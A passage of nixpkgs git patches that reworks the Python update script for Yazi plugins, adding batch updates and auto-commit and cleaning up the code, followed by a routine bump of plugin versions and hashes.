@@ -121,8 +123,7 @@ def get_latest_commit(owner: str, repo: str, plugin_pname: str, headers: Dict[st
         commit_date = commit_data["commit"]["committer"]["date"].split("T")[0]
 
     if not latest_commit:
-        print("Error: Could not get latest commit hash")
-        sys.exit(1)
+        raise RuntimeError("Could not get latest commit hash")
 
     return latest_commit, commit_date
 
@@ -145,13 +146,11 @@ def calculate_sri_hash(owner: str, repo: str, latest_commit: str) -> str:
                 raw_hash = run_command(f"nix-prefetch-url --type sha256 {prefetch_url} 2>/dev/null")
                 new_hash = run_command(f"nix hash to-sri --type sha256 {raw_hash} 2>/dev/null")
     except Exception as e:
-        print(f"Error calculating hash: {e}")
-        sys.exit(1)
+        raise RuntimeError(f"Error calculating hash: {e}")
 
     # Verify we got a valid SRI hash
     if not new_hash.startswith("sha256-"):
-        print(f"Error: Failed to generate valid SRI hash. Output was: {new_hash}")
-        sys.exit(1)
+        raise RuntimeError(f"Failed to generate valid SRI hash. Output was: {new_hash}")
 
     return new_hash
 
@@ -162,8 +161,7 @@ def read_nix_file(file_path: str) -> str:
         with open(file_path, 'r') as f:
             return f.read()
     except IOError as e:
-        print(f"Error reading file {file_path}: {e}")
-        sys.exit(1)
+        raise RuntimeError(f"Error reading file {file_path}: {e}")
 
 
 def write_nix_file(file_path: str, content: str) -> None:
@@ -172,8 +170,7 @@ def write_nix_file(file_path: str, content: str) -> None:
         with open(file_path, 'w') as f:
             f.write(content)
     except IOError as e:
-        print(f"Error writing to file {file_path}: {e}")
-        sys.exit(1)
+        raise RuntimeError(f"Error writing to file {file_path}: {e}")
 
 
 def update_nix_file(default_nix_path: str, latest_commit: str, new_version: str, new_hash: str) -> None:
@@ -196,8 +193,7 @@ def update_nix_file(default_nix_path: str, latest_commit: str, new_version: str,
     elif 'fetchFromGitHub' in default_nix_content:
         default_nix_content = re.sub(r'sha256 = "[^"]*"', f'sha256 = "{new_hash}"', default_nix_content)
     else:
-        print(f"Error: Could not find hash attribute in {default_nix_path}")
-        sys.exit(1)
+        raise RuntimeError(f"Could not find hash attribute in {default_nix_path}")
 
     # Write the updated content back to the file
     write_nix_file(default_nix_path, default_nix_content)
@@ -207,33 +203,63 @@ def update_nix_file(default_nix_path: str, latest_commit: str, new_version: str,
     if f'hash = "{new_hash}"' in updated_content or f'sha256 = "{new_hash}"' in updated_content:
         print(f"Successfully updated hash to: {new_hash}")
     else:
-        print(f"Error: Failed to update hash in {default_nix_path}")
-        sys.exit(1)
+        raise RuntimeError(f"Failed to update hash in {default_nix_path}")
 
 
-def validate_environment() -> Tuple[str, str, str]:
+def get_all_plugins(nixpkgs_dir: str) -> List[Dict[str, str]]:
+    """Get all available Yazi plugins from the Nix expression"""
+    try:
+        # Get all plugin names
+        plugin_names_json = run_command(f'nix eval --impure --json --expr "builtins.attrNames (import {nixpkgs_dir} {{}}).yaziPlugins"')
+        plugin_names = json.loads(plugin_names_json)
+
+        # Filter out known non-plugin attributes (like functions and special attributes)
+        excluded_attrs = ["mkYaziPlugin", "override", "overrideDerivation", "overrideAttrs", "recurseForDerivations"]
+        plugin_names = [name for name in plugin_names if name not in excluded_attrs]
+
+        plugins = []
+        for name in plugin_names:
+            # Check if the attribute is a derivation by trying to get its type
+            try:
+                # First check if it's a derivation by looking for the pname attribute
+                pname = run_command(f'nix eval --raw -f {nixpkgs_dir} "yaziPlugins.{name}.pname"')
+                plugins.append({
+                    "name": name,  # Attribute name in yaziPlugins set
+                    "pname": pname  # Package name (used in repo paths)
+                })
+            except Exception as e:
+                print(f"Warning: Could not get pname for plugin {name}, skipping: {e}")
+                continue
+
+        return plugins
+    except Exception as e:
+        raise RuntimeError(f"Error getting plugin list: {e}")
+
+
+def validate_environment(plugin_name: Optional[str] = None, plugin_pname: Optional[str] = None) -> Tuple[str, Optional[str], Optional[str]]:
     """Validate environment variables and paths"""
     nixpkgs_dir = os.getcwd()
 
-    plugin_name = os.environ.get("PLUGIN_NAME")
-    plugin_pname = os.environ.get("PLUGIN_PNAME")
-
+    # If plugin name and pname are not provided, check environment variables
     if not plugin_name or not plugin_pname:
-        print("Error: PLUGIN_NAME and PLUGIN_PNAME environment variables must be set")
-        sys.exit(1)
+        plugin_name = os.environ.get("PLUGIN_NAME")
+        plugin_pname = os.environ.get("PLUGIN_PNAME")
 
-    plugin_dir = f"{nixpkgs_dir}/pkgs/by-name/ya/yazi/plugins/{plugin_name}"
-    if not Path(f"{plugin_dir}/default.nix").exists():
-        print(f"Error: Could not find default.nix for plugin {plugin_name} at {plugin_dir}")
-        sys.exit(1)
+    # For single plugin update, we need both name and pname
+    if plugin_name and not plugin_pname:
+        raise RuntimeError(f"pname not provided for plugin {plugin_name}")
+
+    # Validate plugin directory if a specific plugin is specified
+    if plugin_name:
+        plugin_dir = f"{nixpkgs_dir}/pkgs/by-name/ya/yazi/plugins/{plugin_name}"
+        if not Path(f"{plugin_dir}/default.nix").exists():
+            raise RuntimeError(f"Could not find default.nix for plugin {plugin_name} at {plugin_dir}")
 
     return nixpkgs_dir, plugin_name, plugin_pname
 
 
-def main():
-    """Main function to update a Yazi plugin"""
-    # Basic setup and validation
-    nixpkgs_dir, plugin_name, plugin_pname = validate_environment()
+def update_single_plugin(nixpkgs_dir: str, plugin_name: str, plugin_pname: str) -> None:
+    """Update a single Yazi plugin"""
     plugin_dir = f"{nixpkgs_dir}/pkgs/by-name/ya/yazi/plugins/{plugin_name}"
     default_nix_path = f"{plugin_dir}/default.nix"
 
@@ -269,5 +295,99 @@ def main():
     print(f"Successfully updated {plugin_name} to version {new_version} (commit {latest_commit})")
 
 
+def update_all_plugins(nixpkgs_dir: str) -> None:
+    """Update all available Yazi plugins"""
+    plugins = get_all_plugins(nixpkgs_dir)
+
+    if not plugins:
+        print("No plugins found to update")
+        return
+
+    print(f"Found {len(plugins)} plugins to update")
+
+    # Get Yazi version once for all plugins
+    yazi_version = get_yazi_version(nixpkgs_dir)
+
+    # Setup GitHub API headers once for all plugins
+    headers = get_github_headers()
+
+    success_count = 0
+    failed_plugins = []
+
+    for plugin in plugins:
+        plugin_name = plugin["name"]
+        plugin_pname = plugin["pname"]
+
+        try:
+            print(f"\n{'=' * 50}")
+            print(f"Updating plugin: {plugin_name}")
+            print(f"{'=' * 50}")
+
+            try:
+                update_single_plugin(nixpkgs_dir, plugin_name, plugin_pname)
+                success_count += 1
+            except KeyboardInterrupt:
+                print("\nUpdate process interrupted by user")
+                sys.exit(1)
+            except Exception as e:
+                print(f"Error updating plugin {plugin_name}: {e}")
+                failed_plugins.append({"name": plugin_name, "error": str(e)})
+                continue
+        except Exception as e:
+            print(f"Unexpected error with plugin {plugin_name}: {e}")
+            failed_plugins.append({"name": plugin_name, "error": str(e)})
+            continue
+
+    # Print summary
+    print(f"\n{'=' * 50}")
+    print(f"Update summary: {success_count}/{len(plugins)} plugins updated successfully")
+
+    if failed_plugins:
+        print(f"Failed to update {len(failed_plugins)} plugins:")
+        for plugin in failed_plugins:
+            print(f"  - {plugin['name']}: {plugin['error']}")
+
+
+def main():
+    """Main function to update Yazi plugins"""
+
+    parser = argparse.ArgumentParser(description="Update Yazi plugins")
+    group = parser.add_mutually_exclusive_group()
+    group.add_argument("--all", action="store_true", help="Update all Yazi plugins")
+    group.add_argument("--plugin", type=str, help="Update a specific plugin by name")
+    args = parser.parse_args()
+
+    # Get nixpkgs directory
+    nixpkgs_dir = os.getcwd()
+
+    if args.all:
+        # Update all plugins
+        print("Updating all Yazi plugins...")
+        update_all_plugins(nixpkgs_dir)
+    elif args.plugin:
+        # Update a specific plugin
+        plugin_name = args.plugin
+        try:
+            # Get the pname for the specified plugin
+            plugin_pname = run_command(f'nix eval --raw -f {nixpkgs_dir} "yaziPlugins.{plugin_name}.pname"')
+            print(f"Updating Yazi plugin: {plugin_name}")
+            update_single_plugin(nixpkgs_dir, plugin_name, plugin_pname)
+        except Exception as e:
+            print(f"Error: {e}")
+            sys.exit(1)  # We exit here because this is a single plugin update, not a batch operation
+    else:
+        # Check environment variables
+        nixpkgs_dir, plugin_name, plugin_pname = validate_environment()
+
+        if plugin_name and plugin_pname:
+            # Update a single plugin using environment variables
+            print(f"Updating Yazi plugin: {plugin_name}")
+            update_single_plugin(nixpkgs_dir, plugin_name, plugin_pname)
+        else:
+            # No plugin specified, show help
+            parser.print_help()
+            sys.exit(0)
+
+
 if __name__ == "__main__":
     main()

From bdf8e91733fec9f46ac84bd2a6127b2870608d57 Mon Sep 17 00:00:00 2001
From: Austin Horstman <khaneliman12@gmail.com>
Date: Thu, 5 Jun 2025 22:53:06 -0500
Subject: [PATCH 0976/4511] yaziPlugins.update: allow committing changes

Signed-off-by: Austin Horstman <khaneliman12@gmail.com>
(cherry picked from commit bb923d87323f63a2eaa7f4882ed80cffd512075a)
Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 pkgs/by-name/ya/yazi/plugins/update.py | 128 +++++++++++++++++++------
 1 file changed, 98 insertions(+), 30 deletions(-)

diff --git a/pkgs/by-name/ya/yazi/plugins/update.py b/pkgs/by-name/ya/yazi/plugins/update.py
index 0760c877c293..fa9c0e55431a 100755
--- a/pkgs/by-name/ya/yazi/plugins/update.py
+++ b/pkgs/by-name/ya/yazi/plugins/update.py
@@ -258,12 +258,22 @@ def validate_environment(plugin_name: Optional[str] = None, plugin_pname: Option
     return nixpkgs_dir, plugin_name, plugin_pname
 
 
-def update_single_plugin(nixpkgs_dir: str, plugin_name: str, plugin_pname: str) -> None:
-    """Update a single Yazi plugin"""
+def update_single_plugin(nixpkgs_dir: str, plugin_name: str, plugin_pname: str) -> Optional[Dict[str, str]]:
+    """Update a single Yazi plugin
+
+    Returns:
+        Dict with update info including old_version, new_version, etc. or None if no change
+    """
     plugin_dir = f"{nixpkgs_dir}/pkgs/by-name/ya/yazi/plugins/{plugin_name}"
     default_nix_path = f"{plugin_dir}/default.nix"
 
     # Get repository info
+    nix_content = read_nix_file(default_nix_path)
+    old_version_match = re.search(r'version = "([^"]*)"', nix_content)
+    old_version = old_version_match.group(1) if old_version_match else "unknown"
+    old_commit_match = re.search(r'rev = "([^"]*)"', nix_content)
+    old_commit = old_commit_match.group(1) if old_commit_match else "unknown"
+
     plugin_info = get_plugin_info(nixpkgs_dir, plugin_name)
     owner = plugin_info["owner"]
     repo = plugin_info["repo"]
@@ -280,7 +290,13 @@ def update_single_plugin(nixpkgs_dir: str, plugin_name: str, plugin_pname: str)
 
     # Get latest commit info
     latest_commit, commit_date = get_latest_commit(owner, repo, plugin_pname, headers)
-    print(f"Updating {plugin_name} to commit {latest_commit} ({commit_date})")
+    print(f"Checking {plugin_name} latest commit {latest_commit} ({commit_date})")
+
+    if latest_commit == old_commit:
+        print(f"No changes for {plugin_name}, already at latest commit {latest_commit}")
+        return None
+
+    print(f"Updating {plugin_name} from commit {old_commit} to {latest_commit}")
 
     # Generate new version string
     new_version = f"{required_version}-unstable-{commit_date}"
@@ -292,26 +308,34 @@ def update_single_plugin(nixpkgs_dir: str, plugin_name: str, plugin_pname: str)
     # Update the default.nix file
     update_nix_file(default_nix_path, latest_commit, new_version, new_hash)
 
-    print(f"Successfully updated {plugin_name} to version {new_version} (commit {latest_commit})")
+    print(f"Successfully updated {plugin_name} from {old_version} to {new_version}")
+
+    return {
+        "name": plugin_name,
+        "old_version": old_version,
+        "new_version": new_version,
+        "old_commit": old_commit,
+        "new_commit": latest_commit
+    }
 
 
-def update_all_plugins(nixpkgs_dir: str) -> None:
-    """Update all available Yazi plugins"""
+def update_all_plugins(nixpkgs_dir: str) -> List[Dict[str, str]]:
+    """Update all available Yazi plugins
+
+    Returns:
+        List[Dict[str, str]]: List of successfully updated plugin info dicts
+    """
     plugins = get_all_plugins(nixpkgs_dir)
+    updated_plugins = []
 
     if not plugins:
         print("No plugins found to update")
-        return
+        return updated_plugins
 
     print(f"Found {len(plugins)} plugins to update")
 
-    # Get Yazi version once for all plugins
-    yazi_version = get_yazi_version(nixpkgs_dir)
-
-    # Setup GitHub API headers once for all plugins
-    headers = get_github_headers()
-
-    success_count = 0
+    checked_count = 0
+    updated_count = 0
     failed_plugins = []
 
     for plugin in plugins:
@@ -320,12 +344,16 @@ def update_all_plugins(nixpkgs_dir: str) -> None:
 
         try:
             print(f"\n{'=' * 50}")
-            print(f"Updating plugin: {plugin_name}")
+            print(f"Checking plugin: {plugin_name}")
             print(f"{'=' * 50}")
 
             try:
-                update_single_plugin(nixpkgs_dir, plugin_name, plugin_pname)
-                success_count += 1
+                update_info = update_single_plugin(nixpkgs_dir, plugin_name, plugin_pname)
+                checked_count += 1
+
+                if update_info:
+                    updated_count += 1
+                    updated_plugins.append(update_info)
             except KeyboardInterrupt:
                 print("\nUpdate process interrupted by user")
                 sys.exit(1)
@@ -340,13 +368,50 @@ def update_all_plugins(nixpkgs_dir: str) -> None:
 
     # Print summary
     print(f"\n{'=' * 50}")
-    print(f"Update summary: {success_count}/{len(plugins)} plugins updated successfully")
+    print(f"Update summary: {updated_count} plugins updated out of {checked_count} checked")
+
+    if updated_count > 0:
+        print("\nUpdated plugins:")
+        for plugin in updated_plugins:
+            print(f"  - {plugin['name']}: {plugin['old_version']} → {plugin['new_version']}")
 
     if failed_plugins:
-        print(f"Failed to update {len(failed_plugins)} plugins:")
+        print(f"\nFailed to update {len(failed_plugins)} plugins:")
         for plugin in failed_plugins:
             print(f"  - {plugin['name']}: {plugin['error']}")
 
+    return updated_plugins
+
+
+def commit_changes(updated_plugins: List[Dict[str, str]]) -> None:
+    """Commit all changes after updating plugins"""
+    if not updated_plugins:
+        print("No plugins were updated, skipping commit")
+        return
+
+    try:
+        status_output = run_command("git status --porcelain", capture_output=True)
+        if not status_output:
+            print("No changes to commit")
+            return
+
+        current_date = run_command("date +%Y-%m-%d", capture_output=True)
+
+        if len(updated_plugins) == 1:
+            plugin = updated_plugins[0]
+            commit_message = f"yaziPlugins.{plugin['name']}: update from {plugin['old_version']} to {plugin['new_version']}"
+        else:
+            commit_message = f"yaziPlugins: update on {current_date}\n\n"
+            for plugin in sorted(updated_plugins, key=lambda x: x['name']):
+                commit_message += f"- {plugin['name']}: {plugin['old_version']} → {plugin['new_version']}\n"
+
+        run_command("git add pkgs/by-name/ya/yazi/plugins/", capture_output=False)
+
+        run_command(f'git commit -m "{commit_message}"', capture_output=False)
+        print(f"\nCommitted changes with message: {commit_message}")
+    except Exception as e:
+        print(f"Error committing changes: {e}")
+
 
 def main():
     """Main function to update Yazi plugins"""
@@ -355,39 +420,42 @@ def main():
     group = parser.add_mutually_exclusive_group()
     group.add_argument("--all", action="store_true", help="Update all Yazi plugins")
     group.add_argument("--plugin", type=str, help="Update a specific plugin by name")
+    parser.add_argument("--commit", action="store_true", help="Commit changes after updating")
     args = parser.parse_args()
 
-    # Get nixpkgs directory
     nixpkgs_dir = os.getcwd()
+    updated_plugins = []
 
     if args.all:
-        # Update all plugins
         print("Updating all Yazi plugins...")
-        update_all_plugins(nixpkgs_dir)
+        updated_plugins = update_all_plugins(nixpkgs_dir)
+
     elif args.plugin:
-        # Update a specific plugin
         plugin_name = args.plugin
         try:
-            # Get the pname for the specified plugin
             plugin_pname = run_command(f'nix eval --raw -f {nixpkgs_dir} "yaziPlugins.{plugin_name}.pname"')
             print(f"Updating Yazi plugin: {plugin_name}")
-            update_single_plugin(nixpkgs_dir, plugin_name, plugin_pname)
+            update_info = update_single_plugin(nixpkgs_dir, plugin_name, plugin_pname)
+            if update_info:
+                updated_plugins.append(update_info)
         except Exception as e:
             print(f"Error: {e}")
-            sys.exit(1)  # We exit here because this is a single plugin update, not a batch operation
+            sys.exit(1)
     else:
-        # Check environment variables
         nixpkgs_dir, plugin_name, plugin_pname = validate_environment()
 
         if plugin_name and plugin_pname:
-            # Update a single plugin using environment variables
             print(f"Updating Yazi plugin: {plugin_name}")
-            update_single_plugin(nixpkgs_dir, plugin_name, plugin_pname)
+            update_info = update_single_plugin(nixpkgs_dir, plugin_name, plugin_pname)
+            if update_info:
+                updated_plugins.append(update_info)
         else:
-            # No plugin specified, show help
             parser.print_help()
             sys.exit(0)
 
+    if args.commit and updated_plugins:
+        commit_changes(updated_plugins)
+
 
 if __name__ == "__main__":
     main()

From 0f1d3468c2cb1786b18dccb77ba0582368d6c15c Mon Sep 17 00:00:00 2001
From: Austin Horstman <khaneliman12@gmail.com>
Date: Fri, 6 Jun 2025 08:26:58 -0500
Subject: [PATCH 0977/4511] yaziPlugins.update: cleanup

Don't think we need to be so explicit on a lot of this. Also don't want
to support env variable for plugin update.

Signed-off-by: Austin Horstman <khaneliman12@gmail.com>
(cherry picked from commit 46ba7cd4508822ec4de61ba0aeea47916cf1df84)
Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 pkgs/by-name/ya/yazi/plugins/update.py | 56 ++++++--------------------
 1 file changed, 12 insertions(+), 44 deletions(-)

diff --git a/pkgs/by-name/ya/yazi/plugins/update.py b/pkgs/by-name/ya/yazi/plugins/update.py
index fa9c0e55431a..999b04b4f079 100755
--- a/pkgs/by-name/ya/yazi/plugins/update.py
+++ b/pkgs/by-name/ya/yazi/plugins/update.py
@@ -8,7 +8,6 @@ import re
 import subprocess
 import sys
 from pathlib import Path
-from typing import Dict, List, Optional, Tuple
 
 import requests
 from packaging import version
@@ -26,7 +25,7 @@ def run_command(cmd: str, capture_output: bool = True) -> str:
     return result.stdout.strip() if capture_output else ""
 
 
-def get_plugin_info(nixpkgs_dir: str, plugin_name: str) -> Dict[str, str]:
+def get_plugin_info(nixpkgs_dir: str, plugin_name: str) -> dict[str, str]:
     """Get plugin repository information from Nix"""
     owner = run_command(f"nix eval --raw -f {nixpkgs_dir} yaziPlugins.\"{plugin_name}\".src.owner")
     repo = run_command(f"nix eval --raw -f {nixpkgs_dir} yaziPlugins.\"{plugin_name}\".src.repo")
@@ -43,7 +42,7 @@ def get_yazi_version(nixpkgs_dir: str) -> str:
 
 
 
-def get_github_headers() -> Dict[str, str]:
+def get_github_headers() -> dict[str, str]:
     """Create headers for GitHub API requests"""
     headers = {"Accept": "application/vnd.github.v3+json"}
     github_token = os.environ.get("GITHUB_TOKEN")
@@ -52,7 +51,7 @@ def get_github_headers() -> Dict[str, str]:
     return headers
 
 
-def get_default_branch(owner: str, repo: str, headers: Dict[str, str]) -> str:
+def get_default_branch(owner: str, repo: str, headers: dict[str, str]) -> str:
     """Get the default branch name for a GitHub repository"""
     api_url = f"https://api.github.com/repos/{owner}/{repo}"
 
@@ -66,7 +65,7 @@ def get_default_branch(owner: str, repo: str, headers: Dict[str, str]) -> str:
         print("Falling back to 'main' as default branch")
         return "main"
 
-def fetch_plugin_content(owner: str, repo: str, plugin_pname: str, headers: Dict[str, str]) -> str:
+def fetch_plugin_content(owner: str, repo: str, plugin_pname: str, headers: dict[str, str]) -> str:
     """Fetch the plugin's main.lua content from GitHub"""
     default_branch = get_default_branch(owner, repo, headers)
     plugin_path = f"{plugin_pname}/" if owner == "yazi-rs" else ""
@@ -88,7 +87,6 @@ def check_version_compatibility(plugin_content: str, plugin_name: str, yazi_vers
     if required_version == "0":
         print(f"No version requirement found for {plugin_name}, assuming compatible with any Yazi version")
     else:
-        # Check if the plugin is compatible with current Yazi version
         if version.parse(required_version) > version.parse(yazi_version):
             message = f"{plugin_name} plugin requires Yazi {required_version}, but we have {yazi_version}"
             print(message)
@@ -97,7 +95,7 @@ def check_version_compatibility(plugin_content: str, plugin_name: str, yazi_vers
     return required_version
 
 
-def get_latest_commit(owner: str, repo: str, plugin_pname: str, headers: Dict[str, str]) -> Tuple[str, str]:
+def get_latest_commit(owner: str, repo: str, plugin_pname: str, headers: dict[str, str]) -> tuple[str, str]:
     """Get the latest commit hash and date for the plugin"""
     default_branch = get_default_branch(owner, repo, headers)
 
@@ -135,12 +133,9 @@ def calculate_sri_hash(owner: str, repo: str, latest_commit: str) -> str:
     try:
         new_hash = run_command(f"nix-prefetch-url --unpack --type sha256 {prefetch_url} 2>/dev/null")
 
-        # If the hash is not in SRI format, convert it
         if not new_hash.startswith("sha256-"):
-            # Try to convert the hash to SRI format
             new_hash = run_command(f"nix hash to-sri --type sha256 {new_hash} 2>/dev/null")
 
-            # If that fails, try another approach
             if not new_hash.startswith("sha256-"):
                 print("Warning: Failed to get SRI hash directly, trying alternative method...")
                 raw_hash = run_command(f"nix-prefetch-url --type sha256 {prefetch_url} 2>/dev/null")
@@ -148,7 +143,6 @@ def calculate_sri_hash(owner: str, repo: str, latest_commit: str) -> str:
     except Exception as e:
         raise RuntimeError(f"Error calculating hash: {e}")
 
-    # Verify we got a valid SRI hash
     if not new_hash.startswith("sha256-"):
         raise RuntimeError(f"Failed to generate valid SRI hash. Output was: {new_hash}")
 
@@ -177,17 +171,13 @@ def update_nix_file(default_nix_path: str, latest_commit: str, new_version: str,
     """Update the default.nix file with new version, revision and hash"""
     default_nix_content = read_nix_file(default_nix_path)
 
-    # Update the revision in default.nix
     default_nix_content = re.sub(r'rev = "[^"]*"', f'rev = "{latest_commit}"', default_nix_content)
 
-    # Update the version in default.nix
     if 'version = "' in default_nix_content:
         default_nix_content = re.sub(r'version = "[^"]*"', f'version = "{new_version}"', default_nix_content)
     else:
-        # Add version attribute after pname if it doesn't exist
         default_nix_content = re.sub(r'(pname = "[^"]*";)', f'\\1\n  version = "{new_version}";', default_nix_content)
 
-    # Update hash in default.nix
     if 'hash = "' in default_nix_content:
         default_nix_content = re.sub(r'hash = "[^"]*"', f'hash = "{new_hash}"', default_nix_content)
     elif 'fetchFromGitHub' in default_nix_content:
@@ -195,10 +185,8 @@ def update_nix_file(default_nix_path: str, latest_commit: str, new_version: str,
     else:
         raise RuntimeError(f"Could not find hash attribute in {default_nix_path}")
 
-    # Write the updated content back to the file
     write_nix_file(default_nix_path, default_nix_content)
 
-    # Verify the hash was updated
     updated_content = read_nix_file(default_nix_path)
     if f'hash = "{new_hash}"' in updated_content or f'sha256 = "{new_hash}"' in updated_content:
         print(f"Successfully updated hash to: {new_hash}")
@@ -206,22 +194,18 @@ def update_nix_file(default_nix_path: str, latest_commit: str, new_version: str,
         raise RuntimeError(f"Failed to update hash in {default_nix_path}")
 
 
-def get_all_plugins(nixpkgs_dir: str) -> List[Dict[str, str]]:
+def get_all_plugins(nixpkgs_dir: str) -> list[dict[str, str]]:
     """Get all available Yazi plugins from the Nix expression"""
     try:
-        # Get all plugin names
         plugin_names_json = run_command(f'nix eval --impure --json --expr "builtins.attrNames (import {nixpkgs_dir} {{}}).yaziPlugins"')
         plugin_names = json.loads(plugin_names_json)
 
-        # Filter out known non-plugin attributes (like functions and special attributes)
         excluded_attrs = ["mkYaziPlugin", "override", "overrideDerivation", "overrideAttrs", "recurseForDerivations"]
         plugin_names = [name for name in plugin_names if name not in excluded_attrs]
 
         plugins = []
         for name in plugin_names:
-            # Check if the attribute is a derivation by trying to get its type
             try:
-                # First check if it's a derivation by looking for the pname attribute
                 pname = run_command(f'nix eval --raw -f {nixpkgs_dir} "yaziPlugins.{name}.pname"')
                 plugins.append({
                     "name": name,  # Attribute name in yaziPlugins set
@@ -236,20 +220,13 @@ def get_all_plugins(nixpkgs_dir: str) -> List[Dict[str, str]]:
         raise RuntimeError(f"Error getting plugin list: {e}")
 
 
-def validate_environment(plugin_name: Optional[str] = None, plugin_pname: Optional[str] = None) -> Tuple[str, Optional[str], Optional[str]]:
+def validate_environment(plugin_name: str | None = None, plugin_pname: str | None = None) -> tuple[str, str | None, str | None]:
     """Validate environment variables and paths"""
     nixpkgs_dir = os.getcwd()
 
-    # If plugin name and pname are not provided, check environment variables
-    if not plugin_name or not plugin_pname:
-        plugin_name = os.environ.get("PLUGIN_NAME")
-        plugin_pname = os.environ.get("PLUGIN_PNAME")
-
-    # For single plugin update, we need both name and pname
     if plugin_name and not plugin_pname:
         raise RuntimeError(f"pname not provided for plugin {plugin_name}")
 
-    # Validate plugin directory if a specific plugin is specified
     if plugin_name:
         plugin_dir = f"{nixpkgs_dir}/pkgs/by-name/ya/yazi/plugins/{plugin_name}"
         if not Path(f"{plugin_dir}/default.nix").exists():
@@ -258,16 +235,15 @@ def validate_environment(plugin_name: Optional[str] = None, plugin_pname: Option
     return nixpkgs_dir, plugin_name, plugin_pname
 
 
-def update_single_plugin(nixpkgs_dir: str, plugin_name: str, plugin_pname: str) -> Optional[Dict[str, str]]:
+def update_single_plugin(nixpkgs_dir: str, plugin_name: str, plugin_pname: str) -> dict[str, str] | None:
     """Update a single Yazi plugin
 
     Returns:
-        Dict with update info including old_version, new_version, etc. or None if no change
+        dict with update info including old_version, new_version, etc. or None if no change
     """
     plugin_dir = f"{nixpkgs_dir}/pkgs/by-name/ya/yazi/plugins/{plugin_name}"
     default_nix_path = f"{plugin_dir}/default.nix"
 
-    # Get repository info
     nix_content = read_nix_file(default_nix_path)
     old_version_match = re.search(r'version = "([^"]*)"', nix_content)
     old_version = old_version_match.group(1) if old_version_match else "unknown"
@@ -278,17 +254,13 @@ def update_single_plugin(nixpkgs_dir: str, plugin_name: str, plugin_pname: str)
     owner = plugin_info["owner"]
     repo = plugin_info["repo"]
 
-    # Get Yazi version separately
     yazi_version = get_yazi_version(nixpkgs_dir)
 
-    # Setup GitHub API headers
     headers = get_github_headers()
 
-    # Check plugin compatibility with current Yazi version
     plugin_content = fetch_plugin_content(owner, repo, plugin_pname, headers)
     required_version = check_version_compatibility(plugin_content, plugin_name, yazi_version)
 
-    # Get latest commit info
     latest_commit, commit_date = get_latest_commit(owner, repo, plugin_pname, headers)
     print(f"Checking {plugin_name} latest commit {latest_commit} ({commit_date})")
 
@@ -298,14 +270,11 @@ def update_single_plugin(nixpkgs_dir: str, plugin_name: str, plugin_pname: str)
 
     print(f"Updating {plugin_name} from commit {old_commit} to {latest_commit}")
 
-    # Generate new version string
     new_version = f"{required_version}-unstable-{commit_date}"
 
-    # Calculate hash for the plugin
     new_hash = calculate_sri_hash(owner, repo, latest_commit)
     print(f"Generated SRI hash: {new_hash}")
 
-    # Update the default.nix file
     update_nix_file(default_nix_path, latest_commit, new_version, new_hash)
 
     print(f"Successfully updated {plugin_name} from {old_version} to {new_version}")
@@ -319,11 +288,11 @@ def update_single_plugin(nixpkgs_dir: str, plugin_name: str, plugin_pname: str)
     }
 
 
-def update_all_plugins(nixpkgs_dir: str) -> List[Dict[str, str]]:
+def update_all_plugins(nixpkgs_dir: str) -> list[dict[str, str]]:
     """Update all available Yazi plugins
 
     Returns:
-        List[Dict[str, str]]: List of successfully updated plugin info dicts
+        list[dict[str, str]]: List of successfully updated plugin info dicts
     """
     plugins = get_all_plugins(nixpkgs_dir)
     updated_plugins = []
@@ -366,7 +335,6 @@ def update_all_plugins(nixpkgs_dir: str) -> List[Dict[str, str]]:
             failed_plugins.append({"name": plugin_name, "error": str(e)})
             continue
 
-    # Print summary
     print(f"\n{'=' * 50}")
     print(f"Update summary: {updated_count} plugins updated out of {checked_count} checked")
 
@@ -383,7 +351,7 @@ def update_all_plugins(nixpkgs_dir: str) -> List[Dict[str, str]]:
     return updated_plugins
 
 
-def commit_changes(updated_plugins: List[Dict[str, str]]) -> None:
+def commit_changes(updated_plugins: list[dict[str, str]]) -> None:
     """Commit all changes after updating plugins"""
     if not updated_plugins:
         print("No plugins were updated, skipping commit")

From bc9494eca1daf3405a125df9bd6db879ba00cf9f Mon Sep 17 00:00:00 2001
From: Austin Horstman <khaneliman12@gmail.com>
Date: Fri, 6 Jun 2025 08:55:40 -0500
Subject: [PATCH 0978/4511] yaziPlugins: update on 2025-06-06
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

- mediainfo: 25.5.28-unstable-2025-05-30 → 25.5.31-unstable-2025-06-05
- projects: 0-unstable-2025-05-29 → 0-unstable-2025-06-03
- relative-motions: 25.4.8-unstable-2025-04-16 → 25.5.28-unstable-2025-06-05
- restore: 25.5.28-unstable-2025-05-30 → 25.5.31-unstable-2025-06-05
- rich-preview: 0-unstable-2025-05-30 → 0-unstable-2025-05-31
- starship: 25.4.8-unstable-2025-05-30 → 25.4.8-unstable-2025-06-01

Signed-off-by: Austin Horstman <khaneliman12@gmail.com>
(cherry picked from commit e36bf9d52fd2043b5ce76bbc1dacfcd635c5a617)
Signed-off-by: Matthias Beyer <mail@beyermatthias.de>
---
 pkgs/by-name/ya/yazi/plugins/mediainfo/default.nix        | 6 +++---
 pkgs/by-name/ya/yazi/plugins/projects/default.nix         | 6 +++---
 pkgs/by-name/ya/yazi/plugins/relative-motions/default.nix | 6 +++---
 pkgs/by-name/ya/yazi/plugins/rich-preview/default.nix     | 6 +++---
 pkgs/by-name/ya/yazi/plugins/starship/default.nix         | 6 +++---
 5 files changed, 15 insertions(+), 15 deletions(-)

diff --git a/pkgs/by-name/ya/yazi/plugins/mediainfo/default.nix b/pkgs/by-name/ya/yazi/plugins/mediainfo/default.nix
index 5dffe707c582..1297930d0bdb 100644
--- a/pkgs/by-name/ya/yazi/plugins/mediainfo/default.nix
+++ b/pkgs/by-name/ya/yazi/plugins/mediainfo/default.nix
@@ -5,13 +5,13 @@
 }:
 mkYaziPlugin {
   pname = "mediainfo.yazi";
-  version = "25.5.28-unstable-2025-05-30";
+  version = "25.5.31-unstable-2025-06-05";
 
   src = fetchFromGitHub {
     owner = "boydaihungst";
     repo = "mediainfo.yazi";
-    rev = "c6d0de764f6e667c1a7a49f8acc9030c02a1a45c";
-    hash = "sha256-CVHY66AcOC0STi+uDwbKe+HI3WN7MPgszlFHB479V/E=";
+    rev = "a7d1aa69a1a107e64540c17f19ac94be1366769f";
+    hash = "sha256-HUD8Sv1C4gzZRvSEIYqcmm+A0mBYDuwZHCNH26kipS0=";
   };
 
   meta = {
